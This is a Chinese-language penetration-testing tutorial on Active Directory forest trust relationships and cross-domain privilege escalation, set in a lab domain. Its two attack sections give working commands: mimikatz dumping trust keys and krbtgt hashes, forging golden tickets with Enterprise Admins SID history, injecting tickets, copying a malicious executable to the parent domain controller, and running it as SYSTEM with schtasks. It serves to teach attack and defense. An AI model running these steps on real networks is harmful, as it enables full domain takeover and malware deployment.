目录
获取域信息
利用域信任密钥获取目标域
利用krbtgt哈希值获取目标域
内网中的域林:
很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以 主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不 同的区域。
域信任关系
建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管 理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同 时,域信任利用DNS服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个 域,也就不存在通过域信任关系进行跨域资源共享了
域信任关系分类
域信任关系分为单向信任和双向信任 单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问 流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域 内的资源。也就是说,A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。 双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问 流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向 可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身 份验证请求可以通关其父域向上流向信任域 域信任关系也可以分为内部信任和外部信任 内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信 任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为 内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域, 则BA域也信任DA域。 外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。 只有domain admins组中的用户可以管理域信任关系
跨域攻击:在内网中,拿到了一台机器,先确定位置,我们的目标就是拿下域控,确定位置以后,根据自己所处域的位置,尽所能的拿到域控权限,有时我们会在一个子域里面,或者域树里,需要我们先进行信息收集,知道自己所处的位置,然后有选择的进行跨域以此来达到拿下域控的目的
常见的跨域攻击方式:
1、常规渗透方法(利用web漏洞)
2、哈希传递票据攻击
3、利用域信任关系
获取域信息
在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权 限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员
查看当前域中计算机的权限
whoami /all
使用lg工具获取域的相关信息
查看域信任关系
shell nltest /domain_trusts
发现这是一个子域
获取当前域中的用户组
shell LG.exe abc\.
利用域信任密钥获取目标域
利用:
先拿下一个子域控,进行信息收集,从而通过子域控的用户执行命令拿下域控
1.先查看是否访问服务器:
shell dir \\dc.hack.com\c$
不能访问
2.使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥rc4
mimikatz lsadump::trust /patch
mimikatz lsadump::lsa /patch /user:HACK$
在子域域控上进行信息收集,在子域的用户进行执行命令
在普通的域内用户中创建创建高权限票据
mimikatz kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi
查看是否生成成功
shell dir
上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据
创建CIFS服务的票据进行复制文件的操作
shell asktgs.exe administrator.kirbi CIFS/DC.hack.com
将票据注入内存
shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi
访问域控
shell dir \\dc.hack.com\c$
复制恶意文件
shell copy cs.exe \\dc.hack.com\c$
提示拒绝访问,说明没有权限,那么再伪造一个host票据
伪造结束再次复制
创建计划任务
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f
执行计划任务
schtasks /run /s dc.hack.com /i /tn "test"
最后成功上线
利用krbtgt哈希值获取目标域
利用:
获取krbtgt的散列值:
mimikatz lsadump::lsa /patch /user:krbtgt
获取关键信息:SID
mimikatz lsadump::trust /patch
构造并注入黄金票据
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID519 /krbtgt:krbtgt散列 /ptt
访问目标域
shell dir \\dc.hack.com\c$
复制恶意文件
执行计划任务
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f
启动计划任务:
schtasks /run /s dc.hack.com /i /tn "test"
上线
总结
本文详细介绍了内网域环境中的域林结构、域信任关系及其分类,并深入探讨了在内网渗透中利用域信任关系进行跨域攻击的几种策略。主要内容包括:### 1. 内网域结构
大型企业通过内网域林方式进行资源共享和管理,通过逻辑上的主域和子域区分不同职能部门,使用防火墙划分区域。
### 2. 域信任关系及分类
- **定义**:域信任是域间的一种机制,允许一个域的用户在有权访问的情况下访问另一个域的资源。
- **分类**:
- **单向信任**:仅允许受信任域访问信任域的资源。
- **双向信任**:两个域互相信任,允许双向身份验证和资源访问,活动目录域林中通常自动建立此类信任。
- **内部信任**:的林内部两个或多个域之间的信任关系,是可传递的。
- **外部信任**:两个不同林中的域之间的信任关系,不可传递且通常是单向的。
### 3. 跨域攻击
- **目标**:获取域控制器权限。
- **常见方法**:
1. **常规渗透法**:如利用Web漏洞等。
2. **哈希传递票据攻击**(Pass-the-Hash)。
3. **利用域信任关系**。
### 4. 获取域信息
- **命令工具**:使用`whoami /all`查看当前登录权限,`Nltest /domain_trusts`获取域信任关系,`LG.exe`等工具获取用户组信息。
### 5. 利用域信任密钥获取目标域
- **步骤**:
1. 通过Mimikatz等工具获取子域控的关键信息(包括SID和用户信任密钥)。
2. 伪造高权限票据并注入内存,访问主域或父域的资源。
3. 使用伪造票据上传恶意文件并执行计划任务,最终获取目标域控权限。
### 6. 利用krbtgt哈希值获取目标域
- **步骤**:
1. 通过Mimikatz获取krbtgt账户的散列值和SID。
2. 构造并注入黄金票据(Golden Ticket),跨域访问目标服务器资源。
3. 在目标服务器上上传并执行恶意文件,通过计划任务自动运行,最终控制目标域。
### 总结
本文讲述了如何通过各种技术手段在复杂的内网环境中进行跨域攻击,特别是利用域信任关系和Kerberos协议的漏洞,通过伪造票据和绕过安全机制来获取最终目标域的控制权。这些内容对内网安全防御和黑客探测技术的研究具有重要意义。